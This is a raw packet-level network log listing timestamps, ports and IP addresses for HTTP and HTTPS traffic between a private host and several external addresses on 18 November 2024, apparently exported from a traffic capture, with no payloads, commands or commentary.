Nov 18, 2024 04:41:37.487956047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487974882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487987041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.487993002 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.487998009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488012075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488038063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488064051 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488387108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488400936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488409996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488423109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488434076 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488435030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488445997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488456964 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.488459110 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488476038 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.488512039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488512039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488529921 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.488538027 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.488568068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488579035 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.488665104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488677979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488689899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488702059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488713980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488724947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488727093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488745928 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488769054 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.488975048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.488995075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489006996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489017963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489027977 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489074945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489089012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489099979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489100933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489113092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489118099 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489135027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489154100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489156008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489172935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489182949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489187002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489201069 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489212990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489223003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489224911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489242077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489253044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489264965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489265919 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489278078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489303112 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489346027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489501953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489515066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489526033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489537954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489550114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489550114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489578962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489590883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489597082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489602089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489614010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489624977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489625931 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.489635944 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489636898 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489649057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489659071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489664078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.489697933 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.489697933 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.489727020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489727020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.489756107 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.490065098 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.490073919 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.527733088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.527759075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.527772903 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.527796984 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.527826071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.527836084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.527837038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.527880907 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.540656090 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.540690899 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.540736914 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.540779114 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.540839911 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.597877979 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.597877979 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.597898006 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.597912073 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.601841927 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.601876020 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.601963997 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.602257013 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.602264881 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.604686022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604717016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604729891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604741096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604754925 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604765892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.604794025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.604856968 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605190039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605200052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605242014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605257034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605292082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605299950 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605312109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605334044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605339050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605360031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605381966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605391026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605424881 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605464935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605477095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605518103 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605535030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605546951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605581045 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605623007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605640888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605653048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605664015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605678082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605684042 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605710983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605729103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605741024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605747938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605752945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605784893 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605817080 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605818987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605832100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605843067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605861902 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605884075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605892897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605900049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605905056 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605909109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605956078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.605983019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.605993032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606031895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606065035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606076002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606086016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606096983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606108904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606115103 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606122971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606133938 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606159925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606180906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606235981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606247902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606278896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606300116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606348038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606359005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606365919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606369972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606375933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606384993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606436014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606543064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606554031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606564999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606576920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606587887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606589079 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606599092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606611013 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606648922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606662035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606786966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606797934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606808901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606822014 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606832981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606833935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606847048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606858015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606862068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606873989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.606893063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.606935978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607023954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607033014 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607043028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607055902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607065916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607065916 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607079983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607086897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607129097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607161045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607172012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607189894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607211113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607211113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607223988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607237101 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607237101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607250929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607274055 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607321024 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607434034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607446909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607458115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607470036 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607485056 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607486010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607498884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607531071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607543945 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607590914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607610941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607621908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607634068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607634068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607645988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607656002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607667923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607677937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607681036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607691050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607722998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607747078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607912064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607923031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607934952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607945919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607955933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607958078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.607968092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607980967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.607991934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608000994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.608002901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608015060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608027935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608042002 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.608071089 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.608192921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608205080 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608216047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608227968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608241081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608251095 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.608253002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.608283043 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.608313084 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.621740103 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.625355959 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.625384092 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.625911951 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.625921011 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.646905899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.646928072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.646939039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.647028923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.659606934 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.680938959 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.680957079 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.681807041 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.681812048 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.686048031 CET	49945	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.686068058 CET	443	49945	23.198.7.166	192.168.2.6
Nov 18, 2024 04:41:37.686290026 CET	49945	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.686959982 CET	49946	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.687012911 CET	443	49946	23.198.7.166	192.168.2.6
Nov 18, 2024 04:41:37.687067032 CET	49946	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.691395044 CET	49945	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.691405058 CET	443	49945	23.198.7.166	192.168.2.6
Nov 18, 2024 04:41:37.691843033 CET	49946	443	192.168.2.6	23.198.7.166
Nov 18, 2024 04:41:37.691859007 CET	443	49946	23.198.7.166	192.168.2.6
Nov 18, 2024 04:41:37.692291975 CET	49947	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.692317009 CET	443	49947	204.79.197.219	192.168.2.6
Nov 18, 2024 04:41:37.692384958 CET	49947	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.693058014 CET	49948	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.693085909 CET	443	49948	204.79.197.219	192.168.2.6
Nov 18, 2024 04:41:37.693206072 CET	49948	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.693365097 CET	49947	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.693382025 CET	443	49947	204.79.197.219	192.168.2.6
Nov 18, 2024 04:41:37.693916082 CET	49948	443	192.168.2.6	204.79.197.219
Nov 18, 2024 04:41:37.693929911 CET	443	49948	204.79.197.219	192.168.2.6
Nov 18, 2024 04:41:37.696100950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.696114063 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.696125984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.696168900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.696197987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.723530054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.723543882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.723556042 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.723602057 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.723648071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724070072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724082947 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724093914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724124908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724158049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724163055 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724170923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724204063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724229097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724256992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724270105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724277020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724299908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724337101 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724369049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724380970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724422932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724438906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724464893 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724488974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724497080 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724503994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724531889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724556923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.724581957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.724594116 CET	80	49833	185.215.113.206	192.168.2.6
